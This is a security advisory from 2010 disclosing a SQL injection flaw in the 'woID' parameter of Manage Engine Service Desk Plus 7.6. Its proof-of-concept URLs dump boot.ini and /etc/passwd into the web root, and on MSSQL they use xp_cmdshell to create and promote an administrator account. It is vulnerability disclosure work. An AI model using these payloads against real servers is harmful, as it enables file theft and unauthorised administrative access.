Advisory Name: SQL injection in Manage Engine Service Desk Plus 7.6
Vulnerability Class: SQL injection
Release Date: 03-18-2010
Affected Applications: Confirmed in version 7.6. Other versions may also be affected.
Affected Platforms: Multiple
Local / Remote: Remote
Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Researcher: Nahuel Grisolía
Vendor Status: Acknowledged. Not fixed.

Vulnerability Description:
A Vulnerability has been discovered in Manage Engine Service Desk Plus, which can be exploited by
malicious people to conduct SQL injection attacks.
Input passed via the "woID" parameter to WorkOrder.do is not properly sanitized before being used in
a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The vulnerability is confirmed in version 7.6. Other versions may also be affected.


Proof of Concept:
Microsoft Windows Environment with MySQL:
http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=WorkOrder.WORKORDERID=6)
union select 1,2,3,4,5,6,7,8,load_file("c:\\boot.ini"),10,11,12,13,14,15,16,17,18,19,1 into dumpfile
'C:\\ManageEngine\\ServiceDesk\\applications\\extracted\\AdventNetServiceDesk.eear\\AdventNetSer
viceDeskWC.ear\\AdventNetServiceDesk.war\\images\\boot.ini'/*
then browse, http://x.x.x.x:8080/images/boot.ini

Microsoft Windows Environment with MSSQL:
http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1); EXEC xp_cmdshell 'net user
moebius m03biu5inj3ct$ /add';--
http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1); EXEC xp_cmdshell 'net localgroup
administrators moebius /add';--

GNU/Linux with MySQL:
http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1%29%20union%20select%201,2,3,4,5,
6,7,8,load_file%28%27/etc/passwd%27%29,10,11,12,13,14,15,16,17,18,19,20%20into%20dumpfile%
20%27/home/moebius/ManageEngine/ServiceDesk/applications/extracted/AdventNetServiceDesk.eear
/AdventNetServiceDeskWC.ear/AdventNetServiceDesk.war/images/passwd.txt%27/*
then browse, http://x.x.x.x:8080/images/passwd.txt


Impact: Execute arbitrary SQL queries.
Solution: Not fixed.
Vendor Response:
First contact on January 12, 2010. Last contact on March 15, 2010. They won’t fix this issue in the upcoming hotfix. I consider that 2 months is a really long time to fix this kind of High priority issue.
The vendor knows that this advisory will be released. No more contact since then.


Contact Information: 
For more information regarding the vulnerability feel free to contact the researcher at nahuel.grisolia <at> gmail <dot> com